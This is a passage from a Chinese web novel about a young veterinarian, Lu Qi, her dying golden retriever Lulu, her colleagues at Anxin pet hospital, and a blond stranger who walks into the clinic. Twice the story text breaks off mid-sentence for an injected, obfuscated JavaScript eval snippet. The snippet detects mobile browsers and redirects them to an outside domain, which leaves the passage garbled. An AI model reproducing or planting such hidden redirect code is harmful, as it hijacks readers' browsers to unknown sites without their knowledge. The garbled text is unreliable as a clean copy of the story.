“小琦,你小叔怎么能要…”婶婶刚一开口,被丈夫在桌子下踢了一脚。 她转头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775070|174669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒视丈夫。 他无视了妻子的目光,给卢琦夹了一块肉,“行,叔知道了,吃完饭马上给你弄。要是真的没有办法,小叔再给你买一条金毛,保证比你现在的更好更漂亮。” “买什么买!”婶婶摔了筷子,发火喝道,“她住校呢,哪儿养狗?这条救回来还不知道往哪儿送呢!” 卢琦接过夹来的肉,轻声道,“谢谢小叔。” 隔天晚上,新一袋鲜血输进了奄奄一息的小狗体内。 又是隔天,一支带着冷气的药,越过大洋,交到了卢琦手中。 她和医院签署了无责任协议,医生接过她拿来的药,一点点推进了露露的身体里。 卢琦站在笼子前。 整整半个月,这个住院区里的宠物换了四五波。 住在露露上面的边牧去世了,住在露露旁边的拉布拉多康复出院了。 医生说,他从没有见过细小治疗这么久的狗。 “露露…露露……”卢琦低低唤它。 拨开小狗的毛发,底下是松弛的皮肤、凹陷的骨架。 它听见了卢琦的声音,睁开眼,用一双湿漉漉的圆眼,疲惫而全心全意地望向她。 枯瘦的前爪撑起身体,它一如既往地朝她蹒跚爬来,身后留下一串血痕,那条尾巴上的毛也被剃光,光秃秃地垂在血里。 卢琦抚着毛色黯淡的小狗脑袋,她贴着它的头顶,颤颤哭泣。 “我没有办法了露露,我真的…没有办法了,能用的、不能用的,全部用完了。” “求求你好起来……”她的泪融进失去光泽的毛发里,“求你了,吃东西吧……我没有其他办法了。” 露露抵着她的下巴。 它叫不动,也甩不了尾巴,连抬头舔她的力气都不再有了。 5. 第五章 这天晚上,卢琦没有收到急诊电话。 夜间雨下大了,对于没买车的卢琦来说,冬天的雨夜不用出急诊无疑是件好事,但她高兴不起来。 她希望昨天晚上真的是个平安夜,而不是吕施安又替她值了班。 这份希望在进入安心医院时破灭。 休息室围着几名助理,他们头碰头挨在一起,口中低呼着: “哦天哪,太可爱了小家伙。” “这么小养不活吧?” 卢琦路过,瞥见他们中间有个小纸箱。 “早啊小卢姐。”黄振毅发现了卢琦,抬头冲她憨笑,“你看,昨天吕哥在门口捡到的。” 卢琦顿了顿,心中叹气。 吕施安果然还是来了。 她和助理们说过很多次,不用管吕施安,该叫她的时候就叫她来,这是她的工作。 没有人把卢琦的话听进去,他们或是善意调侃,想要促成一对俊男美女;或是觉得比起卢琦,院长儿子的指令更具优先级。 卢琦来医院一年半,晚上出诊的次数两只手都数得过来。这种特殊优待,让她很不是滋味。 她朝前台走去,三个助理,两男一女,她站去女孩子的身后,看见桌子上放着一个快递纸盒,里面垫着毛巾,毛巾上是三只老鼠大的猫咪。 幼猫的眼睛刚刚睁开,蒙着层蓝膜,张嘴细细地叫唤。 “还不到半个月,”女助理小声说,“不知道谁扔在门口的,还特地挑个下雨的晚上,也不嫌跑过来麻烦。” “妙莹没有看见人么?”卢琦问。 昨晚是田妙莹在前台值夜班,白天调休,她已经回去了。 “她说就上了个厕所的工夫,回来就看见门口被丢了箱子。查监控也看不出来,对方骑电瓶车,穿着个大雨披。” 黄振毅补充:“吕哥给它们喂了点羊奶,要是能活过一个月,就能找领养了。” 幼猫太小,没有母乳,不能打疫苗,待在环境复杂的医院里,通常活不下来。 “住院区还有几个强传染的在呢,这么小,悬啊。”几人叹气。 “我家里猫狗太多了,不然就带回家了。”女生无不可惜地蹙眉。 “我也是,我家芝芝,支原体还没好。” 卢琦听着他们讨论谁家可以安置幼崽,沉默着没有说话。 在宠物医院上班,很少有人家里没有宠物。 来医院门口丢宠物的人很多,医院仓位有限,无法安置的宠物会送去救助站。 救助站的仓位同样有限,因此连续两年都没能被领走的动物,会被执行安乐死,为新的生命腾出空间。 即便本身不想养宠物的人,在宠物医院待上一段时间,也会因为心软,半推半就地接收几只被弃养的小动物。 卢琦是个特例。 她在安心实习半年、工作一年,家里始终没有添过一只宠物。 “小卢姐……” 三个年轻人排完了自己的家庭状况,转过头来,眼巴巴地望着卢琦。 卢琦后退一步,歉意道,“我家里有一条得过细小的狗。” “小卢姐你养狗了?”最小的助理惊讶道。 “我想起来了!”黄振毅恍然大悟,“是金毛对吧?” 他给最小的新人介绍,“小卢姐救助了一条金毛,我来的时候就有了。因为那只金毛,小卢姐都不能养其他宠物了。” 听了这话,几人纷纷表示理解:“那是没有办法了,细小愈后三年都有传染性,是不能养其他猫咪狗狗了。” 女助理忽然想起什么,惊叫着把卢琦从幼猫身边拉开,“呀!小卢姐你快去消毒!” 卢琦顺势离开了休息室,换了衣服,进入自己的诊室,戴上口罩,开始工作。 安心医院建立二十年,客源不少,医生很少能有清闲。 这个白天,卢琦检查了住院区几只自己负责的宠物后,门口就有骚动。 前台助理在喊急救。 一只年轻拉布拉多误食巧克力,卧在担架上,嘴角有血。 卢琦立刻拨开人群,黄振毅和另个男助理把狗往抢救室里送。 “心肺复苏!”她扯了尿垫高喊,“现在几点,强心针准备!” 黄振毅跪下就开始按压股动脉。 另位助理递了针给卢琦,“九点二十四。” 卢琦顿跪在地,一边皱眉注射一边说:“输液,700ml。快。” “好!” 十分钟后,拉布拉多心跳上升。 按压了整整十分钟的黄振毅一屁股瘫坐在地,头部充血涨红,累得大口喘气。没点力气,真干不了心肺复苏这活儿。 抢救成功,卢琦换掉沾满呕吐物的手套,刚和狗主人办完住院,前台又通知有一只三楼摔下来的猫咪需要手术。 这周异常繁忙,好在除第一天外,接下来几个晚上都没有过急诊,吕施安不必调休,白天也待在医院,承担了不少工作。 周五下午,田妙莹拎着两份脆皮鸡盖饭推开卢琦诊室的玻璃门,“小卢姐,吃饭了。” 卢琦应了一声,跟着她走去休息室。 进门,两人一眼看见了同在吃饭的吕施安。 他身边坐着黄振毅和另一个男助理,三人注意到了她们。 “小卢姐、妙莹,这边!”黄振毅热情地招手。 卢琦目光微闪,脚尖往外侧撇了撇。 田妙莹瞧见了,挽住卢琦的胳膊,对三个男人哼笑,“才不和你们一起呢。” 她携着卢琦去了角落单独落座,远离了三个男人。卢琦微不可察地松了口气。 “吃吧小卢姐。”田妙莹把她的那份饭拿出来。 卢琦拆筷子时,瞥见吕施安正在看自己。 四目相对,吕施安大方地冲她笑了笑,他礼貌地收回视线,和两个年轻男生聊了起来。 卢琦垂下目光,刷着手机吃饭。 对面的田妙莹也在刷手机,她咬着筷子,表情略显苦恼,为即将到来的兽医资格考试发愁,知识怎么都进不去脑袋里。 卢琦感谢她刚才帮自己避开吕施安三人,转了份文档过去。 收到消息的田妙莹抬头,疑惑地看向卢琦。 卢琦道,“我当年考试时编的口诀,不过已经四年了,不知道现在有没有改,你看看?” “哇呜谢谢你小卢姐,爱你!”田妙莹大为感动,她一眼瞧见了卢琦的手机界面的文章标题,“咦,你在看什么?《感知德国狼犬》?是针对德国狼犬的病吗?” 卢琦摇头,“是介绍狼犬行为语言的。” “小卢姐,难道你真打算往训犬师方向走?” “随便看看,万一碰到不配合治疗的大型犬。” “你已经够会和狗狗相处了,”田妙莹耸肩,“再不行,打镇定嘛。危险级的宠物有政府管着,也送不到我们医院来。” 有伤人记录的宠物只能前往政府设立的特殊医院; 伤人次数超过两次,宠物就会被政府强制安乐。 安心医院的院长更是个宽容的好人,允许医生根据实际情况,拒绝治疗不配合的宠物。 对宠物医生而言,精进技术、拓展医学视野才是要紧的事。他们毕竟不是动物行为学家,用不上太多行为语言。 卢琦嗯了一声,文章划到底部后,随手关掉了界面。 “大家都在啊。” 休息室的门打开,院长笑着走了进来。 安心宠物的院长是位五十岁的女性,短发干练,“和大家说一下,小林实习结束,今天开始就不来了。” “又走了啊?” 有医生抱怨,“这些学生真是,刚教会就走了,拿这儿当免费学校啊。” “我知道你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775071|174669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫌麻烦,”院长打断他的抱怨,“所以这次招了个‘长工’。” 老资历的医生调侃道,“你哪回不是招‘长工’?每一个来的都和你保证毕业后会留下来,结果还不是实习证一到,跑得飞快。” 院长瞪他:“这次是已经毕业了的!” 她看了一圈在座的几个医生,所有医生如同上课要抽背的学生,纷纷避开了老师的视线。 “老秦,你…”院长刚开口,秦医生便站起来收拾餐盒,“我对接的那个犬舍要打比赛了,客户紧张兮兮的,半夜都在和我打电话,你放过我吧。” 院长无奈。 院里都是干了五年以上老员工了,她也不好强迫。 卢琦倒是有些意动。 她年轻,手下只有田妙莹这么一个助理,田妙莹最近又在备考,有点忙不过来。 院长诱哄着开口,“你们平时天天喊忙,现在来了人怎么不要了呢。是个帅小伙哦,长得可好看了。” 听到最后一句,卢琦欲言又止,闭上了嘴。 “交给我带吧。”吕施安看出了妈妈的为难,“正好振毅要准备兽医资格证。” 有人接茬儿,院长神色和缓了些,“好,那就给你吧。人周一过来报道。” 吕施安应了声“知道了”,和同桌的几个男生走出了休息室。 院长离开,田妙莹凑到卢琦旁边,眨巴眼睛和她表忠心:“小卢姐,我是真心的,我这两年都不会跑路。” 卢琦颔首,“我知道,你都准备考兽医资格证了。” 宠物医院助理的流动性很大,有的是兽医专业的学生来混实习证明,有的是喜欢宠物的年轻人。 后者被喷过几次屎尿和呕吐物后,很快就会跑走。 田妙莹这样留下来深耕的外行人不多。 那件事已经过去了很多年,可卢琦还是无法和成年男性靠得太近。 她希望田妙莹两年内不要离职,担心田妙莹走后,再遇不上这么好说话的女助理了。 想到这里,她又对田妙莹说,“有哪里不懂的,随时问我,一定要考出来啊。” “我知道~”田妙莹枕着她的肩膀,笑嘻嘻,“放心吧,你一天天这么使唤我,我肯定不会对你客气的。” 卢琦笑了笑。 安心医院的医生通常是单休,当周值夜班的医生可以轮到两天休息。 卢琦没有出急诊,却享受了双休,她于心不安,周一早上提前一小时去了医院。 前台护士还没来,她帮着扫了地、补充货架上的宠物用品,看见前台柜台下的病例档案有些乱,又蹲下来整理。 叮铃—— 蹲在柜台里,卢琦听见了开门的撞铃音。 工作人员多是从后门进来,她从台下起身,顺口迎客,“您好,请问…” 她的声音顿了下。 进门的是一名青年。 初冬的季节,他穿了件轻薄的风衣。 青年顶着一头极浅的金发,他很英俊,肩开腿长,看得出家境优渥。 令卢琦失神的不是他的外貌,而是他身上某种熟悉的气质。 仿佛她曾在哪里见过他。 青年看见卢琦的瞬间,眼眸睁圆,唇角扬起,露出一点牙尖。 他快步朝她走来,双手搭在前台,倾身靠近了她。 卢琦一怔,明白了自己晃神的原因: 他分明比吕施安还要高出一些,可她却没有丝毫往日面对成年男性的恐惧。 不仅没有恐惧——卢琦鼻尖一酸,不知为何,竟有些落泪的冲动。 说不清,道不明。 “你…”她开口,青年漂亮的脸倏地靠贴近。 他偏着头,急促地嗅闻她的呼吸,目光炽亮,神情着迷。 那点莫名其妙的亲切感顿时泯灭,卢琦猛地后退,“先生,请不要靠得那么近!”